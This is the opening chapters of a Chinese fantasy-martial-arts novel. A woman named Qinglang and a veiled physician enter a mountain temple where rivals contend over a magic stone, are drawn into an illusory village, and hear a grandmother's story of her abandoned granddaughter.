《断剑埋荒楚》
1. 佹神庙
平州边境,连梦山。
这片山脉纵横百余里,地势险峻,道路崎岖折转。过分茂密的植被交错生长,隐天蔽日,其间郁闭森然,教人见之胆寒。
“沿着这条路往前走,约莫一刻钟,就能抵达佹神庙了。”向导道。
青琅顺着他所指的方向望去——是一条蜿蜒向上的小径,被杂草掩映着,一眼看不见尽头。路口处有个不显眼的立牌,上面刻着「一步三叩,勿听勿言」。
向导一路解说得兴起,顺脚踢了踢那立牌,感叹道:“以前传下来的规矩,真是磋磨人。如今连年天灾,也不见神明显灵,别说拜神,我连祖宗都不拜了!”
话音未落,他猛地想起什么,脸上掠过一丝尴尬,回过头来搓着手讪笑道:“我糊涂了!清明将至,姑娘不忘祖辈承恩,不远千里赶回来修缮此庙,诚心日月可鉴!我一介粗莽猎户,尽说些瞎话,您可千万别跟我一般见识!”
青琅道:“尽孝而已。”
向导看着那张老神在在的冷淡脸,连连感叹一番她的孝心,抬头望天,转移话题:“姑娘,就要下雨,我们可得走快些。这路年久失修,还请留心脚下。”
山风穿林,如泣如诉。荒阶残破,俱是风霜痕迹。走出十几步,青琅的目光被石阶表面几处尚未完全剥落的刻字吸引:「……涕泣感神……黄金……封……筑庙以……报」。
与《平州张县县志》的描述相符。
据记载,几十年前,连梦山附近的张家村封闭落后,村民靠采集与捕猎为生。其中有位老者孤苦贫穷,晚年病重将死之时回望一生,悲痛不已,痛哭流涕。他的哭声感动了佹神,于是佹神赐予他健康与财富,而他知恩图报,亲手砌起砖瓦,建庙报答。可惜寒来暑往,老者死后,他的亲人早不知去往何处,佹神庙也沦为荒山废庙。
若非这无主庙宇,青琅进山没那么容易。
这一带的商路是长梧山庄所建,有巡逻卫队看守,往来出入皆需登记在册。所幸清明将近,依照习俗,四野乡民多进山祭扫,而青琅假扮张老后人,借进山修庙之名,顺利混入祭祖的人流里,并未受到太多排查。
她正思忖,前方的向导忽然停住脚步,身子抖如筛糠。
“你有没有看见不对劲的东西?”向导语调发颤,带着哭腔。
青琅环视一周:已是傍晚时分,乌云低垂,山雨欲来。远处隐有凶兽嘶吼,四下鸟雀惊飞。向导手里的灯笼在狂风中异常顽强地燃烧着,将他半边惊惧的脸映得一片惨白。
她答道:“没有。”
“我指给你看……”
向导伸出一根发抖的手指,呼吸急促得好像快要窒息,整个人不受控制地向后倒,重重撞到青琅肩膀上,“是一双蓝色的眼睛……嗬……呃!”
伴随着喉咙里挤出的怪声,一连串骇人的脆响从向导体内炸开。似乎有一股无形的巨力将他强行拉直拔高,四肢变壮变长,躯干扭曲,把衣衫撑成碎片!
突变的向导双目紧闭,暴起!
青琅迅速与他过了几招——这人的攻击没有章法,只一味利用变化后的健硕体格横冲直撞,带着一股癫狂的狠劲儿。再凶狠的亡命徒,也不会用这样无惧疼痛的打法。
不对。
青琅微微侧身,反手卸了向导的力,旋开半步。两人错身的瞬间,她握住向导右臂,用力一捏,只觉触手冰凉坚硬,不像人的血肉。
「姑娘是要找人带路进山?我是老刘,前一阵子打猎摔伤了手,在家里闲得慌,正好有空陪您走一趟!」半个时辰前,山脚的茶楼里,向导挤开人群,面上一派热情淳朴,曾这样说。
是山林有异常,还是向导本身有问题?青琅摸上腰间短刀——
砰!
一块棱角分明的石头破风而来,击中向导后脑穴位。向导往前一扑,重重砸在杂草丛里,灌木矮树应声而折,断枝碎叶纷飞如雨,一片狼藉。
“连梦烟霞,四时皆景,在下久闻其名,今日特来涤尘洗心。未曾想,如此一条幽雅小道,竟能碰巧撞见你们大打出手。”
有人倏然而落,帷帽长垂过腰,整张脸都藏在阴影里,辨不清五官。宽松曳地的白袍将他包裹得严严实实,连一根手指都未曾露出,只看得出身量颇为高瘦。
青琅面无表情地瞥他一眼,并未搭理,脚步不停,继续向前走去。
果然,那人没有继续隐藏行迹,而是加快脚步追上来,跟在她身侧稍后:“那个晕倒的人,你打算怎么办?就把他扔在这里不管?”
“不如交由你处理。”青琅头也不回,语气很淡,“谢大夫妙手回春,近来名声大振,我略有耳闻,很是佩服。”
帷帽下传来一声极轻的咳嗽。
青琅道:“一个月前,你从北水道以游医身份进入平州,暂居安定城南的庆来客栈,偶尔替人看病,偶尔假装与我偶遇,一副欲言又止的模样。今日终于开口,所为何事?”
谢不能道:“我自极北之地而来,努力打听姑娘数日。半月以前,城西小儿失足坠楼,得你所救。十日前,江北有酒鬼生事伤人,你出手阻拦。庆来客栈附近有位卖早点的妇人,丧夫丧子,生活艰难,听说你常去帮忙。我也是了解姑娘品性,才敢在今日前来一见,有要事相求。”
青琅道:“既是求人,何不以真面目示人,坦诚相待。”
谢不能抬手扶住帽檐,略向下一压,无奈道:“人人都说不会以貌取人,但面容有异者,从不得人正视。我是担忧,我的脸会耽误我与姑娘谈正事。”
青琅道:“说来听听。”
谢不能道:“今夜进山之人,十有八九,是为了佹神庙的至宝无方石。在下求姑娘得手以后,能将无方石借我一观。姑娘若肯答应,今夜我必倾力相助,日后若有差遣,也在所不辞。”
青琅道:“无方石得天独厚,内有玄机,既可打造神兵利甲,亦可制毒入药。你费尽心思,竟然只为一观。”
“我一不习武,二不钻研疑难怪病,只是想开开眼界、长长见识。”谢不能笑道,“况且我一介文弱医者,方才那种背后敲闷棍的把戏还能勉强为之,真要跟那些有备而来的人明刀明枪地争抢?我还是有些自知之明的。”
言辞之间,似乎很是恳切。
青琅心道:此人出手时机精准、力道狠辣,绝非普通游医,不可尽信。不过,他的医术若真如传闻一般高明,或许对那件事有帮助……与其当场树敌,不如暂作交易,借其力量或探其根底。
她答道:“好。”
约定既成,二人一路无话。
不多时,佹神庙就在眼
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前。
远看那庙,是一种斑驳的深灰。砖瓦饱经风雨侵蚀,一派腐朽之气。屋檐停着几只看不出种类的野鸟,大门紧闭,窗向外半支着,里头漏出昏黄的光,还有一段威胁意味浓重的女声。
“你缺钱的时候,卑躬屈膝地向我讨要;你有钱的时候,痛哭流涕地试图赖账。好弟弟,你口口声声说什么血缘亲族,我听起来,觉得很奇怪。”
二人在窗边停住,往里看去。
说话者是个高瘦女人,猎户打扮,正用脚碾着地上的草渣。碎渣旁边是个穿长衫的男人,两眼乌黑,唇色发白,缩作一团。
谢不能低声道:“玉堂城外往东十七里,有一处名为贪狼寨的匪窝。说话那人姓陆名英,正是其中一员。据说,她是从熔岩销金窟逃出来的奴隶,为人刚强狠辣、六亲不认,常做杀人放火的生意。”
“地上那人姓陆名德,是玉堂城百姓饭后谈资的常客。他早年流连酒楼赌坊,欠了一屁股债,靠啃老过活。后来玉堂城新城主上任,他走运谋得一官半职,为人愈发猖狂无度。”
青琅道:“如此情势,若是贸然进去,太过引人注目。且先暂留于此,静观其变。”
庙内。
陆德哆嗦着解释:“好姐姐,都是去永和城赶考的花销!我受何城主倚重,想离开玉堂城,免不得多加打点。你看看,行路盘缠、书册买卖、同舍往来,还有考察官的指引钱……你给的,我是半分不敢多用的!”
“给?”陆英反问道,“我何曾给?签字画押按手印,清清楚楚的九金三十五银,是你从我这儿借去的!”
陆德梗着脖子:“是爹叫我跟你拿的!爹说了,我去考长梧山庄的算账师傅,是光宗耀祖的大事儿,你合该出钱出力!其他考生家世清白,我却有你这个做土匪的姐姐……”
他显然还有不少话说,却被陆英拔出的长刀吓得住了口。
“你当我是那些心软面皮薄的邻里街坊,说上几句话就能逃债?”陆英直起背,一脚踩在男人的手腕上,刀尖抵着对方肩膀,“天天在那里爹爹爹的,那是我的钱!老东西想要,不如早些去死,我兴许愿意花个三五铜的,在坟前烧两柱香送他!”
剧情发展至此,有围观者看不过眼,起身开口:“你怎么可以这样讲?欠债还钱乃天经地义,亲人也该明算账,是你有理。可长辈恩情重如山,你岂能口出不孝之言!”
“轮得到你说话?”陆英皱眉道,“我早与张家人谈妥,将这佹神庙租下来谈事,只是看天气不好,大发慈悲放你们进来歇脚。姑奶奶如此恩情大过天,你要不要过来给我磕两个响头?”
“你!”那人悻悻坐下。
陆德惊得肝胆俱颤,不一会儿就闭着眼睛昏倒在地,粗糙的脂粉经冷汗浸透,断断续续地在脸上淌,很是有碍瞻观。陆英面露嫌恶,将他五花大绑,扔进角落。
佛像前、香柜后、火光边,都坐着人。只是众人审时度势,皆眼观鼻鼻观心,视若无睹。
一时之间,室内只余狂风倾灌的声音,带着湿润的雨意。
青琅抬手示意,二人翻窗而入。
“哦?”陆英不善地挑眉,显然余怒未消,“今夜的佹神庙还真是热闹,失窃的商队、迷路的旅人、无礼的神棍……二位大驾光临,又是什么缘由呢?”
2. 无名村(1)
窗外惊雷炸响,酝酿已久的暴雨终于挣脱束缚,噼里啪啦倾盆而落。
据青琅调查,张老后人已四散天涯,踪迹不明。陆英所言向张家人租庙之事,尚存疑窦。不过,为免露出破绽多生事端,还是不宜再顶用张老后人身份。
时间短暂,谢不能担忧青琅未有计较,便先行一步开口道:“诸位莫惊,鄙人姓谢,喜好游历山川河海,寻访奇珍草木。此番行至平州,久闻连梦山险峻巍峨,乃一方奇景,心向往之,遂冒雨前来一观。这位……”
他正犹豫该给青琅安个什么身份,却见青琅面无表情道:“我姓林,家住安定城兴旺街东。谢大夫前些天为我诊病,说是情志不舒所致,叮嘱我多到户外走动。我虽久居平州,却从未到过连梦山,今日见谢大夫有意进山,便顺道同行,过来散散心。”
谢不能医术精妙,未曾露过真容,然身姿颀长、言行斯文,也算坊间美谈。陆英有所耳闻,找过些人打探,只探得他诊金不高,性情温和,似乎手无缚鸡之力,经常遭人上门闹事。
至于这个姓林的……陆英眯起眼,并未如众人预想般继续逼问。
她意味不明地扯起嘴角,目光在青琅眉眼间停留片刻:“倒真是巧。二位既然是来观景治病的,就去找个角落老实待着吧,别碍着我……们的事。”
“怎么能叫碍事!”激昂的男声响起。
众人循声望去——是一个矮胖男人,穿着绣金线的深紫衣裳,很是富贵的模样。他面色发红,鬓角带汗,显然是等待发言机会已久,迫不及待要开口了。
男人理理衣襟:“林姑娘是平州人,应当识得贫道?”
青琅的视线转向他,一副兴致缺缺的样子,语气倒很礼貌:“太虚观香火鼎盛,皆仰仗李观主。去岁旦礼,我曾特意到玉堂城一趟,往太虚观参拜,可惜缘分不够,没能见到您。能在这里碰见,真是意外之喜。”
李观主抚掌而笑:“姑娘沉静内敛、举止有礼,不似那等纠缠求签的俗客。你下次再来,贫道定当亲迎!”
陆英在神像前坐下,插话道:“李观主,方才你擅闯佹神庙,意图触碰无方石时,可不是这样一派高人风范。”
李观主面色一变。
他与来客寒暄,是想要挑拣着说出先前庙内争端,努力将二人拉入自己阵营,以获得助力。如今陆英一开口,倒是不好再编造什么了。
陆英道:“二位,这无方石是佹神庙的镇庙之宝,是面见佹神的媒介,只能在特定的时间开启。我与张家人沟通租借事宜时,她特意提及,谁都不可以触碰无方石,以免提前激活幻境惊扰佹神,祈愿不成反而丧命。”
“一个时辰前,李观主忽然闯入,二话不说就要拿起无方石。我与张家人有契约,便出手阻拦,与他打了起来。李观主五短身材、体胖气虚,功夫却着实不错。若非他赤手空拳,而我有兵刃在身,恐怕不会赢得这么轻松。”
角落里传来些私语,带着隐隐躁动。
李观主怒道:“你掐头去尾!我分明和你说过,我是受上天指引,前来给佹神带话的!不启动幻境,我怎么见到佹神?你这愚昧无知的凡夫俗子……”
“你这个沽名钓誉的假道士,还好意思继续装神弄鬼?”一道声音插进来。
——是方才那位满口“恩重如山”“岂能口出不孝之言”的青年。他约莫十七八岁,有一双明显不属于平州人士的翠绿眼眸。
他似乎积愤已久,调子起得高而尖:“无方石是我们图雅部族的传世之宝,是我们用血脉供养的圣物,跟什么佹神毫无关系!若非横云关口戒严,我们商队无奈绕行至此,又怎会知道,二十年前失窃的无方石竟然在这里!”
“别再失礼了,阿曼。”有同行人出声制止道,“那位好心的姐姐借我们房屋休整,还愿意帮助我们联系张氏族人问清事情原委,我们只需等明早风停雨歇……”
“待我先砍了这个口出狂言的神棍!”绿眼青年叫道。
与此同时,他手中软剑迅速甩出,化作一道寒光直刺李观主面门!
李观主身份不凡,平日里纵使与人龃龉,也多是衣冠楚楚谈笑辩论,哪有一上来就开打的?他一时色变,慌忙抬手格挡,飞快缩到香案后,喊道:“且慢!有话好好说!”
那头一攻一守,缠斗得激烈。谢不能站在青琅身后,低声道:“这支图雅部族的商队自西南沿海来,借道平州北上,应该是要往凌云道去,参加秋末的酬天大典。近日玉堂城动乱,连梦山一带走私猖獗,他们路赶得紧,想来是拿不到长梧山庄的通关路引,一路躲避巡逻卫队至此。”
言罢,他又道:“李观主下盘稳健,看似狼狈躲闪,实则毫发无伤。他应该是忌惮商队人多势众,想要暂避锋芒。独木难支,不敢妄动……不如由我来助他一臂之力,送他一个好时机?”
他拈起一颗石子——也不知道是什么时候从哪儿捡来的,瞄准李观主后膝,蓄势待发。
青琅抬手,扣住他腕骨:“进山以前,我托人查过消息。无方石被触碰后,幻境会立刻开启。要将无方石带走,活着离开幻境是第一步。据说幻境之内危险重重,你切记不要离我太远。你若安分守己,我会护你周全。”
言罢,一股奇妙的气劲自她指尖传来,谢不能指节一松——
石子化作一道难以看清的灰线射出!尖锐的破风声藏进破庙风雨飘摇的响动里,似乎了无痕迹。
自觉神勇无敌的绿眼青年感到腰间一酸,攻势顿挫,整个人不受控制地向前一扑。
李观主始料未及,故作慌张的语调一变,仓促扭身想躲,右手手背却不受控地刮过无方石表面,划出一道血痕!
变故陡生。
角落里的柴火忽然猛烈跳动起来,将佹神庙照得一片影影绰绰。不合常理的浓烟从摇曳的光影里钻出来,绕着各处蜿蜒盘旋。
天地皆白,万籁俱寂。
须臾,有密密麻麻的人影从四面八方的空白里渗出,化作一个不断向内收缩的、密不透风的包围圈,将青琅围困起
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来。
出口似乎是一扇漆绿的窄门。
这扇门出现得很突然,作为目之所及唯一的色彩,与周遭场景格格不入。青琅试着拉起它的门环,门扉上面镌刻的字迹便像活过来一样,散着微光流动,都是些文绉绉的祷词。
青琅想:若借短刀以气劲横扫,或许可以击破人群,逃离此地。只是幻境诡谲,如今方位难辨,只怕伤及同伴,后患无穷。
于是她拉开门。
天旋地转。
蹲在池塘边逗鱼玩儿的小姑娘听见开门声,回过头来,露出一个灿烂的笑:“你醒得这么早?奶奶到市集买菜去啦,今天中午给我们做炸酥饼、黄金鸡、桂花鱼……”
青琅垂眼看她:小姑娘生得白净,一张讨喜的圆脸,眼睛亮亮的,带着不谙世事的天真。衣服五颜六色,看不出具体是什么材质,像是用许多不同的布料拼接而成,上有流光闪点与繁琐饰品,十分华丽吸睛。
许是看青琅面无表情,小姑娘挠挠头,声音小了些:“我叫陈雨,这是我家。姐姐,昨晚我去坟场大棚看朋友,发现你昏迷在平安河边,应该是顺着水流飘下来的,就把你带回来了。你是……外头的江湖客吧?别怕,我们无名村有辰雁大师庇护,很安全的!你先留下来休养休养,过几天再走吧!”
“谢谢你。”青琅礼貌对她笑笑,“我想四处走走,活动活动筋骨。”
陈雨盯着青琅的脸,愣神片刻,从衣兜里摸出几枚铜钱,递过去:“要记得回来吃午饭哦!奶奶做饭很好吃的!”
青琅谢绝对方好意,径自走出陈雨的视线范围,跃至高处,环顾四周。
这是一间三进三出的院子,沿墙种满品种不明的花草,池塘养着几尾鲫鱼。各处设施陈旧,看起来颇有些年头,但被打扫得很洁净。旭日初升,照得满庭金黄,一派融融暖意。
青琅没有听过无名村,但对平安河与坟场大棚,还真有几分印象。
平安河是平州护城河的一条支流,自玉堂城东蜿蜒而过,滋养着沿岸的田地,是农户们赖以生存的灌溉水源。
然而,在玉堂城建城以前,这片土地是另一番景象。数个依亲缘聚居的小村落散落于此,自成一体,秩序混乱。人们未经知识教化,烧杀抢掠、争斗仇杀如同家常便饭。据说,永和城曾试图将这片区域纳入管辖,却遭到了居民们激烈的攻击和驱逐。
至于坟场大棚——生活在这里的人们对平安河有着近乎痴迷的信仰。如同落叶归根,靠水吃水的人家,最终是要回到水里的。他们在平安河下游搭起简易的棚子,作为无论是老死、病死、枉死、横死都心安的埋骨地。
这些消息还是青琅在调查谢不能的时候发现的。
近来玉堂城有离奇疫病肆虐,谢不能去帮过几次忙,做些端茶煎药的活儿,地点就在坟场大棚。那里多得是封建迷信的传说故事,人人都嫌晦气,一直没有人住,正好做隔离病患的区域。
想到谢不能,院子南边的拐角处忽然闪出一个人影来。
3. 无名村(2)
这是一个奇怪的村子。
街道行人稀疏,两旁商铺林立,成衣店最为醒目。里面售卖的衣裳与陈雨所穿相似,都是用数种布料拼接而成,缀满闪亮细碎的珠片,色彩斑斓,设计不同寻常。
各处茶楼酒馆人声鼎沸,热闹非凡。那头说书先生惊堂木一拍,这厢歌姬唱曲泠泠切切,声音都是清晰的,词句却零星,听着很不连贯。
青琅驻足观察,不见有客进出。
谢不能落后她半步,一路默不作声地跟着,此刻方才开口道:“不如寻处地方,进去一探究竟?站在这里,怕是敌暗我明。”
不远处,正有一座装潢气派的茶楼,高有六层,想来视野开阔,可以俯瞰长街。门口牌匾上书:聚缘茶家。
二人一进门,热烈声浪扑面而来。
接引伙计迎上前来:“哎哟!贵客临门,蓬荜生辉!您二位瞧,这一楼大堂正唱着大戏,锣鼓喧天的,吵闹!不如移步三楼雅间?辰雁大师都曾赞过我们兰字房的风水景致!
“有劳。”青琅道。
伙计殷勤引着二人上了三楼,推开一扇雕刻着盛放兰花的门。室内陈设雅致,处处呼应主题,窗外正对着主街,商铺行人一览无余。
谢不能拦住伙计欲端茶倒水的动作,取出一枚金钱放至桌面:“我与好友初来乍到,正想尝尝当地特色。烦请小哥将各样招牌都上一份,再帮我兑些散钱。”
如此,一来拖延时间,不让人随侍打扰,二来给些好处,方便稍后问话。
那伙计抖着手拿起金钱,下意识凑到嘴边用牙一嗑,片刻后方觉失礼,飞速放下,摆手慌张道:“贵客!小店虽然可以凭物抵账,但这金制宝物贵重,小人见识短浅,还从未接触过……须得先去请掌柜过来看看,再喊来钱庄的人兑成现银……”
青琅从袖中摸出几枚银钱,递过去:“要两碗面,荤素点心各来一碟,其余归你。我们有事相商,一刻钟内莫来打扰。”
伙计如蒙大赦,喜上眉梢,双手接过,忙不迭道谢:“多谢贵客!小人这就去准备!”
言罢,他躬身退下,轻轻带上了门。
青琅的目光落在那枚金钱上:“积香集的掮客同我说过,无方石生成的幻境,是一个能让佹神与凡人共处的虚幻场所,并非凭空造物。幻境中的一砖一瓦、一草一木,乃至知识道理、思想规则,皆源自进入幻境之人的见闻。那个人,就是幻境的主人。”
此间幻境,属于谁?
谢不能推测道:“陆英与陆德都出生于玉堂城建城之后。一个是劫富济贫的山匪,金银财货不会少见;一个官场沉浮花天酒地,更是此道行家。他们不会无法认出金钱形貌,更不会对衣着服饰有混乱而不成形态的认知。”
“那支商队倒是奇装异服,只是在长梧山庄的监管之下,这一带的故事,很难与远道而来的商队相关。图雅部族的商队借道平州,是先从西南入境,在永和城接受长梧山庄的数道盘查,最后经连梦山的横云关口离开。其中所有流程登记在册,十分规范。纵有类似今日偷偷摸摸的绕行,也不会绕到遥远的玉堂城东平安河。”
且说平州,北接连梦山,南至同悲海,东西各有河流为界,是九州七道里唯一一个彻彻底底的凡俗之地,可谓是与世隔绝。
这不仅仅是因为平州不受上天眷顾,灵气稀薄。更因为数百年前,长梧山庄的无恨刀燕婧以凡人之躯一刀截断云海,立下血誓:平州境内禁行道法,违者皆作长梧山庄刀下亡魂!
此誓天地为证,化作铁则烙印此间。自此,以长梧山庄为首的永和城,受其威势笼罩的玉堂城、安定城,各处都有长梧山庄的人镇守——百姓不能修行,外来修士过境亦要留牒受查。
谢不能分析迅速而条理清晰,似乎对平州地理分布与政治规则颇为熟悉。
青琅心道:他抵达平州不过一月,便将一切了解得如此透彻,所图定然不止无方石。眼下既为盟友,且先按捺不表,若他敢动手,再反击不迟。
二人各自思索,兰字房内一时寂静,唯余大堂模糊不清的唱词隐隐浮动而来。
不久后,谢不能忽然起身,行至那扇正对主街的雕花木窗前。他将窗户再推开些,身体微微前倾,目光落向街道。
“幻境所波及的范围犹未可知,若是远不止佹神庙内,那么困于此间的来客,恐怕比我们预想得多。且不论有多少人觊觎无方石,便说我在那条小径树冠间等待你经过时,就有不少鬼祟身影在附近穿行。”
“夺宝之事见不得光,想避人耳目,绕行山林是常理。趁庙内争斗,躲藏于我们没有发现的暗处也不无可能。只是有一个地方让我心存疑虑,当时无凭无据,全出于直觉,不敢言明。”
“愿闻其详。”青琅道。
她的视线扫过谢不能轻扶窗沿的手。这人的肤色是一种久不见天日的、病态的苍白,五指修长而骨节分明,看着没有练武的痕迹。
只听谢不能道:“开启幻境的方法很简单。我们既能轻易做到引导李观主触碰无方石,旁人未尝不可。倘若有人提前将幻境开启,而我们早已被卷入幻境呢?”
“你也有此猜测吧。”谢不能转身道,“否则不会直接丢下被我击晕的向导。”
青琅不置可否,取出一样物件——是半支断裂的签子,约莫两寸长,上面有镂空的图案。微光在缝隙间流转,荡漾出肉眼可见的水波纹气流。
“这是流通于安定城黑市的接头签,分阴阳两半,上面附有微弱的空间传送术法。依照长梧山庄最新通过的《安定城七十二条》,合法合规。”青琅道,“我略作修改,将阳签塞入向导袖中。他若是生人,在日悬中天之时,会自然而然通过阳签吸收周围灵气,然后被传送到我身边。他若是幻境造物,无法通过阳签吸收灵气使接头签运转,时辰一过,我留在阳签上面的灵力便会直接将他击散。”
话音刚落,青琅身形一动,眨眼间便来到了谢不能面前。
她单手扶住窗沿,倾身向谢不能。
谢不能迅速后退一步,拉开与她的距离。
青琅道:“谢不
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能,不如你也领走半支接头签吧?我们相识不久,万一中途分离,再会时候,我怕无法分辨站在我面前的人,是真实的你,还是幻境凭借我记忆捏造的虚影。”
晨光斜斜照入,穿透帷帽外层的薄纱,晕出一片朦胧的金黄。谢不能隔着这层金黄向外看,青琅的表情惯常冷淡,长睫投落的阴影遮住那双漠然的眼睛,减轻了些审视意味。
他抬手按住帽檐:“青琅姑娘,我所承诺句句属实,至于其它,待事成之后,定坦诚相告。”
……?
青琅微微垂眼,看着对方绷紧的肩背,心道:莫非此人真有鬼?如此身手,如此心性,把目标定作我,未免难度太高。
见青琅没有回应,谢不能又犹犹豫豫地开口:“……实不相瞒,我少时试药误食奇毒,害得经脉阻塞,不仅无法吸收天地灵气为己用,连运转内功调息都做不到。接头签于我,怕是同样不会生效。我一介废人,实在很怕被你的灵力打伤。”
他正要再说些什么证明,兰字房的门忽然被人推开。
伙计笑容满面,端着托盘走进来,将碗筷餐碟摆好。
紧接着,他后退一步,拍掌唱道:“二位贵客久等了!汤底澄澈如清泉,细面韧!时蔬青翠似!糖醋鱼!桂花飘飘!五色玲珑糕,食之登!仙境!”
青琅:“……”
和之前听到的唱词情况一样,断断续续不连贯,想来应是幻境的主人对相关事物印象不深。
挥退一问三不知、连上菜词都唱不利索的伙计,青琅的视线落在桌面的食物上。
两碗清汤寡水的阳春面;一条做法普通的葱姜鲫鱼;一盘简单的白灼青菜;一碟模糊不清、形态难辨的东西,似乎是点心。
谢不能担忧她再提起接头签一事,连忙调整好心态,猜测道:“果然有别人。幻境的主人或许生活节俭,或许家境贫寒……应该有一定的生活经验,但没读过太多书。”
“说到桂花鱼,我想起一个人。”青琅道,“我们先前碰头的院子里,住着一个叫陈雨的小姑娘。她说,她的奶奶中午要做桂花鱼,让我记得回去吃饭。”
谢不能道:“我们一行人提前开启幻境,却没有谁是真心实意为佹神而来。若我是佹神,可能想杀死闯入者,可能想驱逐闯入者,也可能想将闯入者永困此地……无论如何,危险总会自己找上门来。时辰尚早,茶家显然没有新线索了,不如我们再四处逛逛,待到午时,一起回去吃饭吧?正好看看向导会不会出现。”
二人翻窗离去。
时间悄然流逝。
过了约莫一刻钟,那伙计推门而入,收拾起桌上空空如也的碗碟。那枚被他用牙咬过的金钱静静躺在桌边,不久后,被一个识货的黑影拾起。
与此同时,陆英拖着昏迷的陆德,推开陈雨家的院门。她看见蹲坐在院子各处的图雅部族一行人,还有面色难看但努力微笑的李观主。
李观主咬牙道:“你来啦?林姑娘与谢大夫还没找到指向这对祖孙的线索么?人到齐,才能开饭啊。”
4. 无名村(3)
正午时分,向导未至。
一张圆桌,众人围坐,神色各异。
饭菜飘香,勾得门外有过路人停步,探头问道:“陈宇奶奶,今日做什么菜?无名村上上下下,就属你手艺好呢!”
“我要送小雨到永和城上学!临行之前,吃顿好的。”佝偻而鬓发斑白的老妇在锅铲碰撞声中大声回答。
过路人道:“好计划呀!何家村跟张家村打得那么凶,小雨平时一个人住在这边界之地,保不齐哪天就受殃及。永和城是好地方……若是小雨找到活计做,说不准还能接你过去享福呢!”
“别胡说八道。”老妇道,“我既嫁过来,自然生是夫家人,死作夫家鬼。无名村乱成什么样,我都不会走的!”
那过路人嘀嘀咕咕地走远了。
“到永和城上学?真厉害!”李观主不愿错过信息,连忙擦去额角细汗,指着昏迷的陆德,微笑道,“那边那位在睡觉的哥哥,也要去永和城哦。小雨,和我们说说你的情况吧。”
自从客人试图帮奶奶做菜,被奶奶拒绝后,饭桌上的氛围就一直很奇怪。有人愿意开口打破沉默,陈雨很开心。
她道:“是辰雁大师为我指的路。他说自己很快就要离开无名村,去新的地方布道,以后就不能再保护这里了。如果何家村与张家村开战,别家尚有亲人可以相互依靠,我孤身一人,总得找个安稳的去处。”
陆英的语气小心翼翼:“奶奶……不是你亲奶奶吗?”
陈雨眨眨眼,似是不明白她为何有这样的疑问:“当然是我亲奶奶呀!若非血脉相连,奶奶怎会为我做到这般地步,还想送我出去读书?如果只是出于善心或怜悯而对旁人好,大概是像邻里乡亲那样,送些旧衣吃食,偶尔来看看我。”
陆英还想追问什么,却见厨房门帘一掀,老妇走了出来。她换下沾满油烟的衣裳,头发梳得一丝不苟,带着郑重其事的神态,在众人之间落座。
桌上摆满了热气腾腾的菜肴,都是寻常农家菜色,胜在丰盛实在。陈雨所说的“桂花鱼”,就是一盘普通的鲫鱼,用葱姜、酱油、料酒简单蒸制而成,与青琅之前在聚缘茶家所见一模一样。
青琅心道:接头签失效,证明我们早已进入幻境。我本以为大家萍水相逢、各自为营,如今想来,或许有人和我一样,目的不在无方石。至于幻境的主人……能构建出如此具体的场景与故事,说明执念深植于此。能沉得住气藏在暗处,是对幻境的凶险了然于心,还是想借幻境之手清除竞争者?
老妇的招呼打断她思绪:“大家别干坐着,趁热吃呀!”
然而,诱人的香气里,无人敢动筷。一双双眼睛带着审视,来回扫过老妇与饭菜——情况未明,还是保持警惕再多观察观察比较稳妥。
老妇有些无措,抖着手攥起一根筷子,叹了口气,诚恳道:“老婆子知道,大家都有顾虑。不瞒各位,我还有些压箱底的东西,是母亲临终前给我的陪嫁。我愿意把这些东西全都拿出来交给各位,只求各位能带小雨走!”
短暂的沉默后。
李观主清清嗓子,率先打破僵局:“老人家,不要心急。具体要我们做什么,还请您详细讲讲。”
只听老妇哽咽道:“小雨生下来那年,老天不开眼。先是水灾,把庄稼都淹了,紧跟着又闹疫病。村里派人去永和城求长梧山庄救济,倒是领回一些粮食,可是挨家挨户分下来,每家那点儿,哪儿够?”
“我那儿子儿媳,自己都饿得前胸贴后背,看看小女儿,再看看大儿子……实在是没办法了!总不能眼睁睁看着一家子都饿死吧?”
“那天晚上,雨很大,他们俩抱着小雨出去了。我知道他们要做什么,就偷偷跟了上去。他们把小雨放在这里……当年,这儿连屋顶都没有,房梁都是歪的。我看他们在雨里哭,哭了好久,才一步三回头地走了。我等他们走远了,才敢过去看。那时候,小雨都冻得浑身发红了……我赶紧把她抱起来,揣在怀里暖着。”
陆英偏头去看,见陈雨低着头,不停地往嘴里塞饭。她认为这是难过的表现,思及自己的经历,面上浮现一丝不忍。
老妇深深吸了口气:“我没敢把她抱回家。家里就剩那点糊口的米汤……再添一张嘴,是真养不活了。儿子儿媳也是实在没办法才走这一步,我不能让他们更难做。”
“我就想着,好歹是条命,先在这地方凑合着。我白天在家操持家务,得空了就偷偷过来,把自己那份食物分给小雨吊着命。这破屋子被我一点点收拾起来,好歹能遮点风雨。这丫头命硬,也懂事,就这么长大了。”
“你们做得不对!”有人打断。
只见绿眼青年胸膛起伏:“亲人之间应该同生共死,怎么能牺牲谁去成全谁?我的奶奶教育我,亲人要永远相互帮助相互包容!如果小雨死了,你们这些狠心的亲人,都会受到神明的谴责与惩罚!”
老妇唯唯诺诺地点头。
李观主瞪视绿眼青年,圆场道:“奶奶,您继续说。”
老妇叹道:“前些日子,我那儿子儿媳,知道小雨还活着了!这一片偶有村民经过,我心里清楚,被发现是迟早的事儿。他们说,到底是亲骨肉,不能分开的。现在家中情况不错,还正缺人手干活儿,不如让小雨回去,一家人团圆。”
这样的事情,在凡世倒是屡见不鲜。
李观主心道:修行界以根骨天赋定高低、凭道行深浅论尊卑,大道昭昭,强弱自分。而这个凡尘俗世,人们生来便注定碌碌,偏偏为了给那点儿本就可怜的命数再划出个三六九等,还硬造出许多荒唐规矩,譬如什么阴阳、长幼、乡邻……
老妇没有注意到李观主的神色。
她沉浸在过往的悲痛里,唉声叹气:“我不求大富大贵,只盼家人团聚,大家能健康平安,快乐一生。但是老天对我不好,连这样的愿望都不肯满足……”
“小雨到聚缘酒家帮工,被何家村的一个恶霸看上了,非要强娶她去做妾!那是什么人家?是仗着有钱有势,欺男霸女坏事做尽的人家!落在他手里的姑娘,谁有好下场?不是被折磨得人不人鬼不鬼,就是直接没了踪影!给这种人做妾,那是把人往死路上逼啊!”
“我儿子儿媳去求辰雁大师出个主意,大师便说,不如送小雨离开。外头天高地广的,
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再怎么难,熬一熬就过去了!到时候,我们只管对别人说,丫头福薄,病死了!”
陆英问道:“所以,你就找到我们,希望我们能把她带去永和城读书?”
老妇点头道:“当年我家乡战乱,我一路逃难,就要活活饿死的时候,是一个长梧山庄的姑娘给了我一口热饭。长梧山庄……我前些天还去打听了,大家都说现在的孟庄主最是慈悲仁善。我觉得,没有比永和城更好的去处了!”
